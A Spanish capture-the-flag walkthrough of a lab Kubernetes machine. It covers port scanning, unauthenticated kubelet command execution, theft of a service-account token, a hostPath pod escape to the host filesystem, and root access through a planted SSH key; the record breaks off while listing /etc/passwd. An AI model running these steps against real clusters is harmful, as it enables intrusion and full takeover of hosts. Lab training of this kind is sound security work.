SteamCloud
13 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.133
- Fecha: 14 / 02 / 2022
Escaneo de puertos
# Nmap 7.92 scan as: nmap -sC -sV -o nmap/targeted 10.10.11.133 -p 22,80,2379,2380,8443,10249,10250,10256
Nmap scan report for 10.10.11.133
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
2379/tcp open ssl/etcd-client?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-02-15T05:29:52
|_Not valid after: 2023-02-15T05:29:53
2380/tcp open ssl/etcd-server?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-02-15T05:29:52
|_Not valid after: 2023-02-15T05:29:53
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2022-02-14T05:29:51
|_Not valid after: 2025-02-14T05:29:51
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 5a6a8b48-3d98-4785-b57d-e3709d704122
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: f8f45295-4ea9-4170-8f7e-ea585f749415
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 7e7ce172-f7f7-4615-98de-ef8846cb2020
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=steamcloud@1644902997
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2022-02-15T04:29:57
|_Not valid after: 2023-02-15T04:29:57
|_ssl-date: TLS randomness does not represent time
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 102.14 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP), 2379 (etcd-client
), 2380 (etcd-server
), 8443 (kube-apiserver
), 10249 (kubelet
), 10250 (kubelet
) y 10256 (kube-proxy
).
Reconocimiento de puertos
Aunque el puerto 80 está abierto, tiene una instalación por defecto de nginx. Nada más.
Mirando los puertos que están expuestos, podemos concluir que esta máquina tiene un cluster de Kubernetes. HackTricks est útil para comprometer esta máquina.
Podemos ver la versión consultando al kube-apiserver
:
$ curl -k https://10.10.11.133:8443
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {
},
"code": 403
}
$ curl -k https://10.10.11.133:8443/version
{
"major": "1",
"minor": "22",
"gitVersion": "v1.22.3",
"gitCommit": "c92036820499fedefec0f847e2054d824aea6cd1",
"gitTreeState": "clean",
"buildDate": "2021-10-27T18:35:25Z",
"goVersion": "go1.16.9",
"compiler": "gc",
"platform": "linux/amd64"
}
Interactuando con el kubelet
Vemos que el kubelet
está expuesto. Esta entidad se ejecuta en cada nodo del cluster (es decir, está corriendo en la máquina, porque es probable que el cluster sea de un solo nodo) y controla cada Pod
.
Si este servicio está expuesto, es probable que sea vulnerable a RCE (Remote Code Execution) sin autenticación. Podemos probarlo con una petición como esta:
$ curl -sk https://10.10.11.133:10250/pods | jq | head
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-apiserver-steamcloud",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-apiserver-steamcloud",
Obtenemos una respuesta exitosa, por lo que somos capaces de hablar con el kubelet
sin autenticación.
Podemos listar todos los Pods
en ejecución desde el kubelet
:
$ curl -sk https://10.10.11.133:10250/runningpods/ | jq '.items[].metadata.name'
"etcd-steamcloud"
"nginx"
"storage-provisioner"
"kube-scheduler-steamcloud"
"kube-apiserver-steamcloud"
"coredns-78fcd69978-hrszm"
"kube-proxy-dnxrw"
"kube-controller-manager-steamcloud"
Existe una manera de ejecutar comandos en un Pod
. Utilizando curl
deberíamos hacerlo así:
$ curl -kG 'https://10.10.11.133:10250/exec/default/nginx/nginx' -d 'stdin=1' -d 'output=1' -d 'tty=1' -d 'command=whoami'
Upgrade request required
Pero no funciona porque requiere una actualización del protocolo de comunicación a WebSockets, y curl
no lo soporta.
Sin embargo, podemos instalar kubeletctl
desde la página de descargas o compilando el proyecto en Go. Luego, podemos escanear todos los Pods
para ver si alguno es vulnerable a RCE:
$ ./kubeletctl scan rce --server 10.10.11.133
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Node with pods vulnerable to RCE │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ │ │ │ │ │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ nginx │ default │ nginx │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │ │ etcd-steamcloud │ kube-system │ etcd │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │ │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │ │ coredns-78fcd69978-hrszm │ kube-system │ coredns │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │ │ storage-provisioner │ kube-system │ storage-provisioner │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │ │ kube-proxy-dnxrw │ kube-system │ kube-proxy │ + │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
La tabla de arriba muestra que el Pod
llamado nginx
es vulnerable a RCE
. Por tanto, podemos ejecutar comandos dentro del contenedor nginx
del Pod
llamado nginx
también:
$ ./kubeletctl run 'ls /' --namespace default --pod nginx --container nginx --server 10.10.11.133
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
No hay necesidad de utilizar una reverse shell esta vex. Podemos leer la flag user.txt
desde el contenedor:
$ ./kubeletctl run 'ls /root' --namespace default --pod nginx --container nginx --server 10.10.11.133
user.txt
$ ./kubeletctl run 'cat /root/user.txt' --namespace default --pod nginx --container nginx --server 10.10.11.133
417b04ea8221ce9aa994877243e5fd98
Escalada de privilegios
Ahora que podemos ejecutar comandos dentro de un contenedor de un Pod
, podemos coger el token y el certificado de cliente para poder autenticarnos contra el kube-apiserver
(puerto 8443):
$ ./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/token' --namespace default --pod nginx --container nginx --server 10.10.11.133
eyJhbGciOiJSUzI1NiIsImtpZCI6IkJwZHBDYnJzNUptVHlVd1YxeGlzR2lGYlpQX2xYUzlGY3k0MFd5MGo5Zk0ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9
jYWwiXSwiZXhwIjoxNjc2NDc0MTk1LCJpYXQiOjE2NDQ5MzgxOTUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY
2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImEzNmU2NGZkLTlhZGEtNDcwOC1iMDEyLTM0N2VhMmVjOTliMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInV
pZCI6Ijk5MjUzMjU0LThiNjMtNDZiMi04MWUwLWY2ODQ1NzkzODgzMiJ9LCJ3YXJuYWZ0ZXIiOjE2NDQ5NDE4MDJ9LCJuYmYiOjE2NDQ5MzgxOTUsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhd
Wx0OmRlZmF1bHQifQ.Xft1ybVzOOWCwsN7JwjoUxEFoAgOKSMU9MRBuwRGT5r2ruqX7ZcDnyMV3xe0Zcx-JGKPz3QY0EfdapLeldo_7_PfT3pXWZ1YkIuExpGSId9hHhIUXb89lc9IccH1mXkf3tHHEXjf9HYF
pYCR6yRab8pcrgcpWZPtGWSIKmZC7D9YfkFerfKGT06c69YXhbdhOgXATEPu9cX6ihBCjHcu_zm8xqY1JDA4zjLj-dWy6lcwo8Q_FKR3irDr8DZP6t-SmL7yKeGL1IOSirY1rDazwG8R0YG2Xk0n-Ff-moo5B3
Kg4Jv-Cb74wD2bUVb2OeOpNKAD7WGynKTqf_JVa2FHTQ
$ token=$(./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/token' --namespace default --pod nginx --container nginx --server 10.10.11.133)
$ ./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' --namespace default --pod nginx --container nginx --server 10.10.11.133 | tee ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
Para comunicarnos con el kube-apiserver
podemos utilizar kubectl
(no kubeletctl
) indicando la URL del kube-apiserver
, el token y el certificado de cliente.
La idea es crear un Pod
con un volumen que monte el sistema de archivo de la máquina host, de manera que podamos ejecutar comandos desde el Pod
para leer archivos de la máquina (como /root/root.txt
).
Este es el descriptor del Pod
que desplegaremos:
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
containers:
- name: escaper
image: nginx:1.14.2
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /
type: Directory
Este Pod
montará /
desde la máquina host
en la ruta /var/log/host
del contenedor (podríamos haber elegido otra ruta).
Podemos aplicarlo utilizando kubectl
:
$ kubectl --token=$token --certificate-authority=./ca.crt apply -f escaper.yaml -n default -s https://10.10.11.133:8443
pod/escaper created
Ahora ya está desplegado en el cluster de Kubernetes. Podemos comprobarlo mediante kubeletctl
:
$ ./kubeletctl scan rce --server 10.10.11.133
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Node with pods vulnerable to RCE │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ │ │ │ │ │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ nginx │ default │ nginx │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │ │ etcd-steamcloud │ kube-system │ etcd │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │ │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │ │ coredns-78fcd69978-hrszm │ kube-system │ coredns │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │ │ storage-provisioner │ kube-system │ storage-provisioner │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │ │ kube-proxy-dnxrw │ kube-system │ kube-proxy │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 9 │ │ escaper │ default │ escaper │ + │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
Y entonces podemos ejecutar comandos en el nuevo contenedor:
$ ./kubeletctl run 'ls -la --time-style=%2b /var/log/host' --namespace default --pod escaper --container escaper --server 10.10.11.133
total 68
drwxr-xr-x 18 root root 4096 .
drwxr-xr-x 1 root root 4096 ..
lrwxrwxrwx 1 root root 7 bin -> usr/bin
drwxr-xr-x 3 root root 4096 boot
drwxr-xr-x 16 root root 3080 dev
drwxr-xr-x 75 root root 4096 etc
drwxr-xr-x 3 root root 4096 home
lrwxrwxrwx 1 root root 31 initrd.img -> boot/initrd.img-4.19.0-18-amd64
lrwxrwxrwx 1 root root 31 initrd.img.old -> boot/initrd.img-4.19.0-14-amd64
lrwxrwxrwx 1 root root 7 lib -> usr/lib
lrwxrwxrwx 1 root root 9 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 libx32 -> usr/libx32
drwx------ 2 root root 16384 lost+found
drwxr-xr-x 3 root root 4096 media
drwxr-xr-x 2 root root 4096 mnt
drwxr-xr-x 5 root root 4096 opt
dr-xr-xr-x 210 root root 0 proc
drwx------ 4 root root 4096 root
drwxr-xr-x 20 root root 620 run
lrwxrwxrwx 1 root root 8 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 srv
dr-xr-xr-x 13 root root 0 sys
drwxrwxrwt 10 root root 4096 tmp
drwxr-xr-x 14 root root 4096 usr
drwxr-xr-x 11 root root 4096 var
lrwxrwxrwx 1 root root 28 vmlinuz -> boot/vmlinuz-4.19.0-18-amd64
lrwxrwxrwx 1 root root 28 vmlinuz.old -> boot/vmlinuz-4.19.0-14-amd64
Vemos que se trata del sistema de archivos de la máquina:
$ ./kubeletctl run 'cat /var/log/host/etc/hostname' --namespace default --pod escaper --container escaper --server 10.10.11.133
steamcloud
Y por tanto, podemos leer la flag root.txt
:
$ ./kubeletctl run 'ls -la --time-style=%2b /var/log/host/root' --namespace default --pod escaper --container escaper --server 10.10.11.133
total 28
drwx------ 4 root root 4096 .
drwxr-xr-x 18 root root 4096 ..
lrwxrwxrwx 1 root root 9 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 .bashrc
drwxr-x--- 3 root root 4096 .kube
drwxr-xr-x 10 root root 4096 .minikube
-rw-r--r-- 1 root root 148 .profile
-rw-r--r-- 1 root root 33 root.txt
$ ./kubeletctl run 'cat /var/log/host/root/root.txt' --namespace default --pod escaper --container escaper --server 10.10.11.133
61f3bca8afe7785058a1be1972592526
Consiguiendo una shell como root
Encontré dos maneras de conseguir una shell como root
:
- Añadir una clave pública de SSH en
/root/.ssh/authorized_keys
. - Modificar las contraseñas de
user
yroot
en/etc/passwd
.
Para ambos métodos, tenemos que tener en cuenta que no podemos ejecutar comandos que tengan caracteres especiales como comillas ('
, "
), pipes (|
), redirecciones (>
, >>
, <
, <<<
) o salidas de ejecución ($(...)
, `...`
) debido a la manera en la que tenemos RCE.
Afortunadamente, podemos utilizar sed
para reemplazar texto en un archivo, y podemos omitir las comillas si la sustitución no contiene espacios o caracteres especiales como los de antes.
Mi idea inicial fue copiar /etc/hosts
(en el montaje de volumen) y modificarlo:
$ ./kubeletctl run 'cp /var/log/host/etc/hosts /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
127.0.0.1 localhost
127.0.1.1 steamcloud
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 host.minikube.internal
10.10.11.133 control-plane.minikube.internal
Ahora podemos comenzar quitando líneas del archivo:
$ ./kubeletctl run 'sed -i s/f.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'sed -i s/:.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'sed -i s/127.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
# The
10.10.11.133 control-plane.minikube.internal
En este punto, para quitar la primera línea, tenemos que utilizar ..The
para conseguir una coincidencia con RegEx, ya que #
es un carácter especial.
$ ./kubeletctl run 'sed -i s/..The//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
10.10.11.133 control-plane.minikube.internal
Ahora podemos modificar 10.10.11.133
por ssh-rsa
y control-plane.minikube.internal
por la clave pública:
$ ./kubeletctl run 'sed -i s/10.10.11.133/ssh-rsa/g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
ssh-rsa control-plane.minikube.internal
Para generar un par de claves SSH utilizamos ssh-keygen
:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:7aEfZ2kv6cZXqHKtyYKPtuPW7CTkAl4OqLYkkXd9ehY
The key's randomart image is:
+---[RSA 3072]----+
| |
| |
| |
| . . . . |
|o o + o E o . |
| + o = = + . .. .|
|oo . + *++.=+ . |
|+ . +===*Boo |
| . ++=+*=+. |
+----[SHA256]-----+
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=
Para copiar esta clave, tenemos que codificar los +
(%2b
) y el =
(%3d
) en codificación URL debido a la naturaleza del RCE que tenemos. Además, hay que escapar todas las barras porque sed
también utiliza barras para distinguir los textos antiguo y nuevo. También podemos codificar las barras /
(%2f
) por si acaso:
$ cat id_rsa.pub | sed 's/+/%2b/g' | sed 's/\//\\%2f/g' | sed 's/=/%3d/g'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r\%2fDohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn\%2f7FOQbAyeKko1BdJwlTlrxaNSo%2bWyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf%2bPsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji\%2fy1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq\%2fqIqQy9xVwwl2KJ3df\%2f5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot%2bk0KxaLZpY%2bDxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k%3d
$ ./kubeletctl run 'sed -i s/control-plane.minikube.internal/AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r\%2fDohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn\%2f7FOQbAyeKko1BdJwlTlrxaNSo%2bWyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf%2bPsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji\%2fy1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq\%2fqIqQy9xVwwl2KJ3df\%2f5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot%2bk0KxaLZpY%2bDxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k%3d/g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
Y ahora que hemos terminado con las sustituciones, conseguimos un archivo que es válido como authorized_keys
:
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=
Entonces, creamos un directorio llamado .ssh
y añadimos este archivo como authorized_keys
:
$ ./kubeletctl run 'mkdir /var/log/host/root/.ssh' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cp /var/log/host/tmp/asdf /var/log/host/root/.ssh/authorized_keys' --namespace default --pod escaper --container escaper --server 10.10.11.133
Y tenemos una shell como root
:
$ ssh -i id_rsa root@10.10.11.133
root@steamcloud:~# cat root.txt
61f3bca8afe7785058a1be1972592526
El segundo método es algo más simple. Tenemos este archivo /etc/passwd
:
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
